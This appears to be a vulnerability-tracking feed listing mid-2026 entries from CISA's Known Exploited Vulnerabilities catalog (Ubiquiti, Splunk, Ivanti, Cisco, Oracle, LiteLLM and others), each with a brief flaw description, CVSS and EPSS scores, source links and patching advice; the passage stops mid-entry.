https://kevwire.com/record/CVE-2026-34908 Ubiquiti UniFi OS Improper Access Control Vulnerability (Jun 23, 2026). Ubiquiti UniFi OS contains an improper access control vulnerability which could allow a malicious actor with access to the network to make unauthorized changes to the system. CVSS 10.0 (version 3.1; evidence as of May 22, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-34908). EPSS 88.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34908&date=2026-10-25). Sources: CISA KEV entry CVE-2026-34908: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34908&date=2026-10-25 CVE Program CNA hackerone: https://cveawg.mitre.org/api/cve/CVE-2026-34908 CISA added this entry on 2026-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 23, 2026; federal due date Jun 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Splunk Enterprise Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2026-20253 Splunk Enterprise Missing Authentication for Critical Function Vulnerability (Jun 18, 2026). Splunk Enterprise contains a missing authentication for critical function vulnerability which could allow an unauthenticated user to create or truncate arbitrary files through a PostgreSQL sidecar service endpoint. CVSS 9.8 (version 3.1; evidence as of Jun 15, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-20253). EPSS 96.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20253&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20253: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20253&date=2026-10-25 CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-20253 CISA added this entry on 2026-06-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 18, 2026; federal due date Jun 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Widget Factory Joomla Content Editor Improper Access Control Vulnerability https://kevwire.com/record/CVE-2026-48907 Widget Factory Joomla Content Editor Improper Access Control Vulnerability (Jun 16, 2026). Widget Factory Joomla Content Editor contains an improper access control vulnerability which could allow for upload and execution of PHP code via the creation of new editor profiles for unauthenticated users. CVSS 10.0 (version 4.0; evidence as of Jun 20, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-48907). EPSS 85.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48907&date=2026-10-25). Sources: CISA KEV entry CVE-2026-48907: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48907&date=2026-10-25 CVE Program CNA Joomla: https://cveawg.mitre.org/api/cve/CVE-2026-48907 CISA added this entry on 2026-06-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 16, 2026; federal due date Jun 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### LiteSpeed cPanel Plugin UNIX Symbolic Link (Symlink) Following Vulnerability https://kevwire.com/record/CVE-2026-54420 LiteSpeed cPanel Plugin UNIX Symbolic Link (Symlink) Following Vulnerability (Jun 15, 2026). LiteSpeed cPanel plugin contains a UNIX symbolic link (Symlink) following vulnerability that could allow a user with FTP or web shell access on a shared hosting server running CloudLinux/CageFS. CVSS 8.5 (version 3.1; evidence as of Jun 14, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-54420). EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-54420&date=2026-10-25). Sources: CISA KEV entry CVE-2026-54420: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-54420&date=2026-10-25 CVE Program CNA mitre: https://cveawg.mitre.org/api/cve/CVE-2026-54420 CISA added this entry on 2026-06-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 15, 2026; federal due date Jun 18, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Catalyst SD-WAN Manager Directory or Path Traversal Vulnerability https://kevwire.com/record/CVE-2026-20262 Cisco Catalyst SD-WAN Manager Directory or Path Traversal Vulnerability (Jun 15, 2026). Cisco Catalyst SD-WAN Manager contains a directory or path traversal vulnerability that could allow an authenticated, remote attacker to create a file or overwrite any file on the filesystem of an affected system. CVSS 6.5 (version 3.1; evidence as of Jun 15, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-20262). EPSS 29.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20262&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20262: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20262&date=2026-10-25 CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-20262 CISA added this entry on 2026-06-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 15, 2026; federal due date Jun 29, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle PeopleSoft Enterprise PeopleTools Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2026-35273 Oracle PeopleSoft Enterprise PeopleTools Missing Authentication for Critical Function Vulnerability (Jun 12, 2026). Oracle PeopleSoft Enterprise PeopleTools contains a missing authentication for critical function vulnerability which could allow an unauthenticated attacker to obtain takeover of PeopleSoft Enterprise PeopleTools. CVSS 9.8 (version 3.1; evidence as of Jun 11, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-35273). EPSS 96.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-35273&date=2026-10-25). Sources: CISA KEV entry CVE-2026-35273: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-35273&date=2026-10-25 CVE Program CNA oracle: https://cveawg.mitre.org/api/cve/CVE-2026-35273 CISA added this entry on 2026-06-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 12, 2026; federal due date Jun 15, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Sentry OS Command Injection Vulnerability https://kevwire.com/record/CVE-2026-10520 Ivanti Sentry OS Command Injection Vulnerability (Jun 11, 2026). Ivanti Sentry (formerly known as MobileIron Sentry) contains an OS command injection vulnerability which could allow a remote unauthenticated user to achieve root-level remote code execution. This vulnerability can be successfully exploited in cases where the Sentry appliance is in an unmanaged state with its endpoints externally reachable. The use of mTLS with EPMM or restricted HTTPS access through Neurons for MDM makes interfaces inaccessible to external actors. CVSS 10.0 (version 3.1; evidence as of Jun 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-10520). EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10520&date=2026-10-25). Sources: CISA KEV entry CVE-2026-10520: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10520&date=2026-10-25 CVE Program CNA ivanti: https://cveawg.mitre.org/api/cve/CVE-2026-10520 CISA added this entry on 2026-06-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 11, 2026; federal due date Jun 14, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Out-of-Bounds Read and Write Vulnerability https://kevwire.com/record/CVE-2026-11645 Google Chromium V8 Out-of-Bounds Read and Write Vulnerability (Jun 9, 2026). Google Chromium V8 out-of-bounds read and write vulnerability that could allow a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. CVSS 8.8 (version 3.1; evidence as of Jun 10, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-11645). EPSS 2.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-11645&date=2026-10-25). Sources: CISA KEV entry CVE-2026-11645: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-11645&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-11645 CISA added this entry on 2026-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 9, 2026; federal due date Jun 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Arista Extensible Operating System Incomplete Comparison with Missing Factors Vulnerability https://kevwire.com/record/CVE-2026-7473 Arista Extensible Operating System Incomplete Comparison with Missing Factors Vulnerability (Jun 9, 2026). Arista Extensible Operating System (EOS) contains an incomplete comparison with missing factors vulnerability when the switch incorrectly decapsulate and forwards other unexpected tunneled packet with a destination IP matching its configured decapsulation IP. CVSS 6.9 (version 4.0; evidence as of Jun 5, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-7473). EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-7473&date=2026-10-25). Sources: CISA KEV entry CVE-2026-7473: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-7473&date=2026-10-25 CVE Program CNA Arista: https://cveawg.mitre.org/api/cve/CVE-2026-7473 CISA added this entry on 2026-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 9, 2026; federal due date Jun 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Catalyst SD-WAN Manager Improper Encoding or Escaping of Output Vulnerability https://kevwire.com/record/CVE-2026-20245 Cisco Catalyst SD-WAN Manager Improper Encoding or Escaping of Output Vulnerability (Jun 9, 2026). Cisco Catalyst SD-WAN Manager formerly SD-WAN vManage contains an improper encoding or escaping of output vulnerability. This vulnerability could allow an authenticated, local attacker to execute arbitrary commands as root by supplying a crafted file to the affected system. CVSS 7.8 (version 3.1; evidence as of Jul 21, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-20245). EPSS 25.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20245&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20245: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20245&date=2026-10-25 CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-20245 CISA added this entry on 2026-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 9, 2026; federal due date Jun 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### BerriAI LiteLLM Command Injection Vulnerability https://kevwire.com/record/CVE-2026-42271 BerriAI LiteLLM Command Injection Vulnerability (Jun 8, 2026). BerriAI LiteLLM contains a command injection vulnerability that could allow any authenticated user, including holders of low-privilege internal-user keys, to run arbitrary commands on the host. CVSS 8.7 (version 4.0; evidence as of May 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-42271). EPSS 91.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42271&date=2026-10-25). Sources: CISA KEV entry CVE-2026-42271: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42271&date=2026-10-25 CVE Program CNA GitHub_M: https://cveawg.mitre.org/api/cve/CVE-2026-42271 CISA added this entry on 2026-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2026; federal due date Jun 22, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Check Point Security Gateway Improper Authentication Vulnerability https://kevwire.com/record/CVE-2026-50751 Check Point Security Gateway Improper Authentication Vulnerability (Jun 8, 2026). Check Point Security Gateway contains an improper authentication vulnerability in IKEv1 key exchange that could allow an unauthenticated remote attacker to bypass user authentication and establish a remote access VPN connection without a valid user password. CVSS 9.3 (version 3.1; evidence as of Aug 4, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-50751). EPSS 85.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-50751&date=2026-10-25). Sources: CISA KEV entry CVE-2026-50751: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-50751&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-50751 CISA added this entry on 2026-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2026; federal due date Jun 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SolarWinds Serv-U Uncontrolled Resource Consumption Vulnerability https://kevwire.com/record/CVE-2026-28318 SolarWinds Serv-U Uncontrolled Resource Consumption Vulnerability (Jun 5, 2026). SolarWinds Serv-U contains an uncontrolled resource consumption vulnerability that allows specially crafted POST requests using the Content-Encoding: deflate header to crash the Serv-U service without authentication. CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-28318). EPSS 43.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-28318&date=2026-10-25). Sources: CISA KEV entry CVE-2026-28318: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-28318&date=2026-10-25 CVE Program CNA SolarWinds: https://cveawg.mitre.org/api/cve/CVE-2026-28318 CISA added this entry on 2026-06-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 5, 2026; federal due date Jun 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mirasvit Full Page Cache Warmer Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2026-45247 Mirasvit Full Page Cache Warmer Deserialization of Untrusted Data Vulnerability (Jun 3, 2026). Mirasvit Full Page Cache Warmer contains a deserialization of untrusted data vulnerability that could allow unauthenticated attackers to achieve remote code execution by supplying a crafted serialized PHP object in the CacheWarmer cookie. CVSS 9.3 (version 4.0; evidence as of May 26, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-45247). EPSS 26.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-45247&date=2026-10-25). Sources: CISA KEV entry CVE-2026-45247: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-45247&date=2026-10-25 CVE Program CNA VulnCheck: https://cveawg.mitre.org/api/cve/CVE-2026-45247 CISA added this entry on 2026-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 3, 2026; federal due date Jun 6, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Improper Authentication Vulnerability https://kevwire.com/record/CVE-2022-0492 Linux Kernel Improper Authentication Vulnerability (Jun 2, 2026). Linux Kernel contains an improper authentication vulnerability which could allow for privilege escalation via the cgroups v1 release_agent feature. CVSS 7.8 (version 3.1; evidence as of Jun 3, 2026; https://cveawg.mitre.org/api/cve/CVE-2022-0492). EPSS 5.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-0492&date=2026-10-25). Sources: CISA KEV entry CVE-2022-0492: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-0492&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2022-0492 CISA added this entry on 2026-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 2, 2026; federal due date Jun 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android Framework Integer Overflow Vulnerability https://kevwire.com/record/CVE-2025-48595 Android Framework Integer Overflow Vulnerability (Jun 2, 2026). Android Framework contains an integer overflow vulnerability that allows for code execution that could allow for local privilege escalation. CVSS 8.4 (version 3.1; evidence as of Jun 3, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-48595). EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48595&date=2026-10-25). Sources: CISA KEV entry CVE-2025-48595: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48595&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2025-48595 CISA added this entry on 2026-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 2, 2026; federal due date Jun 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle WebLogic Server Unspecified Vulnerability https://kevwire.com/record/CVE-2024-21182 Oracle WebLogic Server Unspecified Vulnerability (Jun 1, 2026). Oracle WebLogic contains an unspecified vulnerability that could allow an unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 7.5 (version 3.1; evidence as of Jul 16, 2024; https://cveawg.mitre.org/api/cve/CVE-2024-21182). EPSS 74.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21182&date=2026-10-25). Sources: CISA KEV entry CVE-2024-21182: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21182&date=2026-10-25 CVE Program CNA oracle: https://cveawg.mitre.org/api/cve/CVE-2024-21182 CISA added this entry on 2026-06-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 1, 2026; federal due date Jun 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Palo Alto Networks PAN-OS Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2026-0257 Palo Alto Networks PAN-OS Authentication Bypass Vulnerability (Oct 20, 2026). Ravie Lakshmanan reports: Palo Alto Networks has disclosed that it’s continuing to observe exploitation of a now-patched security flaw impacting PAN-OS and Prisma Access by ransomware actors. The activity relates to CVE-2026-0257 (CVSS score: 7.8), an authentication bypass flaw that could be exploited by bad actors to set up unauthorized VPN connections. It was patched... Source CVSS 7.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0257). EPSS 95.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-0257&date=2026-10-25). Sources: DataBreaches.net: Qilin and INC Ransomware Groups Exploit Palo Alto Networks Flaw to Bypass MFA: https://databreaches.net/2026/10/20/qilin-and-inc-ransomware-groups-exploit-palo-alto-networks-flaw-to-bypass-mfa/ DataBreaches.net syndication feed: https://databreaches.net/feed/ NVD CVE-2026-0257: https://nvd.nist.gov/vuln/detail/CVE-2026-0257 Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0257 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0 CISA KEV entry CVE-2026-0257: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-0257&date=2026-10-25 Ravie Lakshmanan reports: Palo Alto Networks has disclosed that it’s continuing to observe exploitation of a now-patched security flaw impacting PAN-OS and Prisma Access by ransomware actors. The activity relates to CVE-2026-0257 (CVSS score: 7.8), an authentication bypass flaw that could be exploited by bad actors to set up unauthorized VPN connections. It was patched... Source Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links. Action: Check the vendor advisory linked from the article for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 29, 2026; federal due date Jun 1, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Nx Console Embedded Malicious Code Vulnerability https://kevwire.com/record/CVE-2026-48027 Nx Console Embedded Malicious Code Vulnerability (May 27, 2026). Nx Console contains an embedded malicious code vulnerability that allowed a malicious version of Nx Console to be published. The compromised extension fetched an obfuscated payload that could harvested credentials from multiple sources on disk and in memory. EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48027&date=2026-10-25). Sources: CISA KEV entry CVE-2026-48027: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48027&date=2026-10-25 CISA added this entry on 2026-05-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations 